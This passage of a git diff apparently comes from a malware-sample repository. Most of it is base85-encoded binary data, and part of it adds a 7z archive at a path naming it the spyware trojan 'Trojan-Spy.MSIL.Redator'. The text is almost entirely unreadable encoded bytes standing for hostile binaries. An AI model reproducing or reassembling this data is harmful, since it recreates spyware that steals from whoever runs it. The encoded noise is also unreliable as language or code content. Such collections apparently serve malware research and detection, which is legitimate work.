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 E00REg00000 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Redator/Trojan-Spy.MSIL.Redator.a-a.7z b/Win32/Malware Families/Generic.Win32.Redator/Trojan-Spy.MSIL.Redator.a-a.7z new file mode 100644 index 0000000000000000000000000000000000000000..f65fc2657371ccdcd28b17735dc08ff969ca4183 GIT binary patch literal 39556 zcmV(yKy8k)8`o& z(Y`&Am{Y98?;NhC@c=`}5tv6R6I%EnD$`B97JZx!gnAAHCI|~oAn5%?a5(1TVwcdO z!6#&Clb;ETuNj6W%0i74Ry3=8PJaj9uljZ~;N;djv(PZa%V>gE&O`~qn#&W-h zrFPKpm({rql3frLzktT5oq7v9PT0Gq@HTQ=Z|tADf>At`C}ykNA=`@jJOBDL%aL_) zw5EJ3&e_^8%|^q}v2{gHwJf{v?O*WlJy~q$#Q_H4`YC|zRC^zW9gnS3=vHGahJ!N> zb>(c8>6soHIr8e&MGF*-8r1xt^+;PZ2Gf0l6w%jP9B71QdA?|6{)BakV=zV9GZd;T zIXMwg+3Qa18?7~kuM7m6nxQ5+Z&w38l3znI=hwwfB2`~GxuRF<(eE*`Ls6Pmbb*z` z04nKH3~H*5cBLI@;rO!oMoMs`Ap=)S^*28?BY`OF1TLC~CkWsi+i4jU`(UAbRu{30 z3JM0a3~uF&u`^5;l&ky|GgAO4A%pK7Q*ld%Cfa|Y#LlzK#dl}#VZm4nnkBx*Ni zDYDRf>ct|B7ia-9C+;TkIgW7^s53ua?`KvDx5-Dr>~B%|E#|V*6rwfvuQ8r-+f1E$ 